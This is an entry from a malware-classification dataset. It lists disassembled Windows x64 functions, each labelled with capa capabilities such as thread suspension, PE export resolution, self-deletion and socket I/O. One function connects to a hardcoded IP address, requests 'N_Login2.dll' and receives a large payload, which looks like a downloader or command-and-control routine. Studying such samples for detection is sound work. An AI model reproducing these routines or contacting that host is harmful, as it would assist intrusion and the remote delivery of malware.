joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800a1bc0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1800f9280]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor esi, esi
mov r14d, edx
mov rbx, rcx
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
xor edx, edx
mov ebp, r8d
lea ecx, [rsi + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800a1cea
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1800a1ce1
nop word [rax + rax]
cmp dword [rsp + 0x20], 0x10
jb 0x1800a1cc4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x1800a1cc4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x1800a1cc4
mov rdx, qword [rbx]
test rdx, rdx
jne 0x1800a1c82
mov dword [rbx + 8], 0x80
mov r8d, 0x200
mov rcx, qword [0x1800fa360]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
mov rdx, rax
test rax, rax
je 0x1800a1ce1
jmp 0x1800a1cb7
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x1800a1cb7
mov rcx, qword [0x1800fa360]
lea r9d, [rax + rax]
mov r8, rdx
shl r9, 2
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rdx, rax
test rax, rax
je 0x1800a1ce1
mov eax, dword [rbx + 8]
add eax, eax
mov qword [rbx], rdx
mov dword [rbx + 8], eax
mov ecx, dword [rbx + 0xc]
mov eax, dword [rsp + 0x28]
mov dword [rdx + rcx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rdi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1800a1c30
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], rsi
je 0x1800a1d43
cmp dword [rbx + 0xc], esi
jbe 0x1800a1d43
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rbx]
xor edx, edx
mov eax, esi
lea ecx, [rdx + 0x5a]
mov r8d, dword [r8 + rax*4]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x1800a1d3c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov r8d, ebp
mov edx, r14d
mov rcx, rdi
call fcn.1800a22e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [rbx + 0xc]
jb 0x1800a1d00
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1800a3c90
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1800a20c0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
xor r15d, r15d
mov rdi, rcx
mov r14d, r15d
mov ebx, r15d
xor eax, eax
mov esi, 1
lock cmpxchg dword [0x1800fa358], esi
je 0x1800a2111
cmp rbx, 0x20
jae 0x1800a20fa
xor ecx, ecx
jmp 0x1800a20fc
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
xor eax, eax
lock cmpxchg dword [0x1800fa358], esi
jne 0x1800a20f0
cmp qword [0x1800fa360], r14
mov qword [rsp + 0x58], r13
je 0x1800a22ad
mov ecx, dword [0x18010080c]
mov ebx, r15d
test ecx, ecx
je 0x1800a214f
mov rdx, qword [0x180100800]
mov rax, rdx
nop word [rax + rax]
cmp rdi, qword [rax]
je 0x1800a215a
inc ebx
add rax, 0x38
cmp ebx, ecx
jb 0x1800a2140
mov r14d, 4
jmp 0x1800a22b3
cmp ebx, 0xffffffff
je 0x1800a214f
mov eax, ebx
imul r13, rax, 0x38
test byte [rdx + r13 + 0x20], 2
je 0x1800a220b
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov edx, ebx
call fcn.1800a1bc0
xor edx, edx
mov ecx, ebx
call fcn.1800a1ab0
mov r14d, eax
cmp qword [rsp + 0x20], r15
je 0x1800a21fb
mov ecx, dword [rsp + 0x2c]
test ecx, ecx
je 0x1800a21e7
mov rdi, qword [rsp + 0x20]
mov qword [rsp + 0x50], rbp
mov ebp, ecx
nop word [rax + rax]
mov r8d, dword [rdi]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800a21d8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
sub rbp, 1
jne 0x1800a21b0
mov rbp, qword [rsp + 0x50]
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, qword [0x1800fa360]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14d, r14d
jne 0x1800a22b3
mov rdx, qword [0x180100800]
mov rcx, qword [rdx + r13 + 0x10]
call fcn.1800a2540
mov ecx, dword [0x18010080c]
lea eax, [rcx - 1]
cmp ebx, eax
jae 0x1800a225f
imul rcx, rax, 0x38
mov rax, qword [0x180100800]
movups xmm0, xmmword [rcx + rax]
movups xmmword [rax + r13], xmm0
movups xmm1, xmmword [rcx + rax + 0x10]
movups xmmword [rax + r13 + 0x10], xmm1
movups xmm0, xmmword [rcx + rax + 0x20]
movups xmmword [rax + r13 + 0x20], xmm0
movsd xmm1, qword [rcx + rax + 0x30]
movsd qword [rax + r13 + 0x30], xmm1
mov ecx, dword [0x18010080c]
mov edx, dword [0x180100808]
dec ecx
mov eax, edx
mov dword [0x18010080c], ecx
shr eax, 1
cmp eax, 0x20
jb 0x1800a22b3
cmp eax, ecx
jb 0x1800a22b3
mov r8, qword [0x180100800]
mov eax, edx
mov rcx, qword [0x1800fa360]
xor edx, edx
shr rax, 1
imul r9, rax, 0x38
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x1800a22b3
shr dword [0x180100808], 1
mov qword [0x180100800], rax
jmp 0x1800a22b3
mov r14d, 2
xchg dword [0x1800fa358], r15d
mov r13, qword [rsp + 0x58]
mov eax, r14d
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x1800a2490
Capabilities:
Resume thread

Disassembly:
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rdi, rcx
je 0x1800a24ff
mov qword [rsp + 0x30], rbx
xor ebx, ebx
cmp dword [rcx + 0xc], ebx
jbe 0x1800a24e8
mov qword [rsp + 0x38], rsi
mov r8, qword [rdi]
xor edx, edx
mov r8d, dword [r8 + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x1800a24dc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rdi + 0xc]
jb 0x1800a24b0
mov rsi, qword [rsp + 0x38]
mov r8, qword [rdi]
xor edx, edx
mov rcx, qword [0x1800fa360]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800a25c0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
cmp rdi, 0x40000000
jbe 0x1800a2600
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rsi, qword [0x1801007f8]
lea r15, [rdi + 0x40000000]
cmp rcx, r15
cmovbe r15, rcx
sub r15, 0xfff
test rsi, rsi
je 0x1800a263e
cmp rsi, r14
jb 0x1800a2636
cmp rsi, r15
jae 0x1800a2636
cmp qword [rsi + 8], 0
jne 0x1800a2807
mov rsi, qword [rsi]
test rsi, rsi
jne 0x1800a2621
mov qword [rsp + 0xa0], rbx
mov rbx, rdi
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0xb0], r12
mov r12d, 0x40
cmp rdi, r14
jb 0x1800a26d2
nop dword [rax]
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
mov rax, rbx
xor edx, edx
div rbp
sub rbx, rdx
sub rbx, rbp
cmp rbx, r14
jb 0x1800a26c9
nop word [rax + rax]
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800a26c9
cmp dword [rsp + 0x70], 0x10000
je 0x1800a274b
mov rbx, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x1800a26c9
sub rbx, rbp
cmp rbx, r14
jae 0x1800a2690
test rsi, rsi
jne 0x1800a27b0
cmp rdi, r15
ja 0x1800a27ef
nop dword [rax + rax]
mov ebp, dword [rsp + 0x48]
xor edx, edx
mov rax, rdi
mov ebx, ebp
div rbp
mov eax, ebp
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r15
ja 0x1800a27ef
mov r8d, 0x30
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800a27ef
cmp dword [rsp + 0x70], 0x10000
je 0x1800a2781
xor edx, edx
lea edi, [rbp - 1]
add rdi, qword [rsp + 0x68]
add rdi, qword [rsp + 0x50]
mov rax, rdi
div rbx
sub rdi, rdx
cmp rdi, r15
jbe 0x1800a2702
jmp 0x1800a27ef
test rbx, rbx
je 0x1800a26c9
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800a27b0
cmp rbx, r14
jae 0x1800a2670
jmp 0x1800a26d2
test rdi, rdi
je 0x1800a27ef
mov r9d, r12d
mov edx, 0x1000
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1800a27b0
cmp rdi, r15
jbe 0x1800a26e0
jmp 0x1800a27ef
xor edx, edx
lea rcx, [rsi + 0x40]
mov dword [rsi + 0x10], edx
nop dword [rax]
mov qword [rcx], rdx
mov rax, rcx
mov qword [rsi + 8], rcx
add r12, 0x40
add rcx, 0x40
mov rdx, rax
cmp r12, 0xfc0
jbe 0x1800a27c0
mov rax, qword [0x1801007f8]
mov qword [rsi], rax
mov qword [0x1801007f8], rsi
mov r12, qword [rsp + 0xb0]
mov rbp, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
mov rax, rsi
mov rsi, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r14
pop rdi
ret
Function at 0x1800a33f0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800a342a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800a342f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800a3478
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800bd5f0]
cmp byte [rcx + rax], 0
je 0x1800a3478
dec r8
sub rdx, 1
jne 0x1800a345e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001b70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov r9, qword [0x14000aa08]
xor r8d, r8d
mov r11, rdx
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140001bfa
mov esi, dword [r10 + 0x24]
mov r14d, dword [r10 + 0x20]
movzx ebp, byte [rdx]
nop word [rax + rax]
lea rax, [rsi + r8*2]
movzx edi, word [rax + r9]
lea rax, [r14 + r8*4]
mov edx, dword [rax + r9]
add rdx, r9
movzx ecx, byte [rdx]
cmp cl, bpl
jne 0x140001bf2
mov rax, r11
sub rdx, r11
test cl, cl
je 0x140001c13
movzx ecx, byte [rdx + rax + 1]
inc rax
cmp cl, byte [rax]
je 0x140001be2
inc r8d
cmp r8d, ebx
jb 0x140001bc0
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdi*4]
add rax, r9
jmp 0x140001bfc

Function at 0x140001d20
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x645e0
call fcn.140003ee0
sub rsp, rax
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x645d0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edx, 1
mov edi, 2
mov ecx, edi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.121.205.90.223
mov word [rsp + 0x20], di
mov rbx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x1f4b
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rdi + 0xe]
mov rcx, rbx
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001e4d
xor edx, edx
lea rcx, [rsp + 0x1d4]
mov r8d, 0x3fc
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str.N_Login2.dll]
lea rdx, [rsp + 0x1d0]
mov eax, dword [0x140006060]
xor r9d, r9d
mov r8d, 0x400
movsd qword [rsp + 0x1d4], xmm0
mov rcx, rbx
mov dword [rsp + 0x1d0], 0x2711
mov dword [rsp + 0x1dc], eax
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x140001e4d
xor r9d, r9d
lea rdx, [rsp + 0x5d0]
mov r8d, 0x64000
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rbx
test eax, eax
jle 0x140001e41
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [rsp + 0x5d0]
jmp 0x140001e4f
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rsp + 0x645d0]
xor rcx, rsp
call fcn.140003270
mov rbx, qword [rsp + 0x645f0]
add rsp, 0x645e0
pop rdi
ret
Function at 0x140001e70
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
mov eax, 0x646f0
call fcn.140003ee0
sub rsp, rax
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x646e0], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
mov r14, qword [rsp + 0x64730]
mov dword [rsp + 0x20], 1
lea rcx, [0x140005f50]
jmp 0x14000c576

Function at 0x140002330
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
call qword [sym.imp.mfc140u.dll_CMFCColorButton::OnFillBackground]
lea rcx, [0x140006088]
jmp 0x14000cb5a

Function at 0x140002570
Capabilities:
Create process on windows
Resolve path using msvcrt
Self delete
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rcx, [0x1400060c0]
jmp 0x14000ccc8

Function at 0x1400037a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400037f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400037f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400037f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400037f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400037f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400037f4
xor al, al
add rsp, 0x28
ret
Function at 0x1400041fc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x14000422a
xor eax, eax
jmp 0x140004310
cmp qword [rcx + 0x68], 0
je 0x14000423b
call fcn.140003978
jmp 0x140004310
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004252
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004254
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004286
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1400203c0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x14000430a
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x1400042bd
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400042e6
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000c868
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x14000430a
cmp rsi, rbx
ja 0x1400042c4
test rsi, rsi
je 0x14000430a
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000c868
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140005310
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000535a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000535a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000535a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000535a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000535a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000535c
xor al, al
add rsp, 0x28
ret

Function at 0x1400089c0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008b08
Function at 0x140008b08
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140008b08
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140008b77
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008b77
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008b77
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008b77
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008b77
cmp dword [rcx + 0x84], 0xe
jbe 0x140008b77
cmp dword [rcx + 0xf8], 0
je 0x140008b77
mov ecx, ebx
call fcn.140008a40
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140008c9c
nop
cmp dword [rbp + 0x20], 0
je 0x140008bc5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140008ad4
int3

Function at 0x14000da80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000daa8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000daa8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140016e74
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14001122c
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140016f15
cmp ebx, dword [rsp + 0x30]
je 0x140016f0e
test esi, esi
je 0x140016f0e
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140016ee9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140016ef6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140016ed3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140016efa
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140016f17
mov eax, 1
jmp 0x140016f17
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140017e8c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1400063b0
sub rsp, rax
mov rax, qword [0x140030200]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400144d8
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140017edb
mov rax, rbp
jmp 0x140017fe3
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x32530]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140017bbc
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x32530]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140017fdf
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140017fdf
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140017bbc
test rax, rax
js 0x140017fdf
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140017fdf
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140017fd1
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140017fd1
cmp byte [rcx], 0xd
jne 0x140017fb7
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140017fc6
cmp byte [rcx + 1], 0xa
jne 0x140017fc6
inc rcx
jmp 0x140017fc6
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x30d40]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140017f99
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140017fe3
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140002830
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140018374
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400183a4
xor eax, eax
jmp 0x140018467
mov rbp, rbx
cmp word [rax], si
je 0x1400183c9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400183b0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400183ac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400110ec
movsxd r14, eax
test eax, eax
jne 0x140018407
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001839d
mov rcx, r14
call fcn.140010ffc
mov rdi, rax
test rax, rax
jne 0x140018420
xor ecx, ecx
call fcn.140010fc0
jmp 0x1400183fc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400110ec
test eax, eax
jne 0x140018451
mov rcx, rdi
call fcn.140010fc0
jmp 0x14001845b
xor ecx, ecx
call fcn.140010fc0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140019de4
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140019dfa
mov al, 1
jmp 0x140019e5a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140019e0b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140019e58
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400188cc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140019e58
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140019e58
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140019e58
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140019e5a
xor al, al
add rsp, 0x20
pop rbx
ret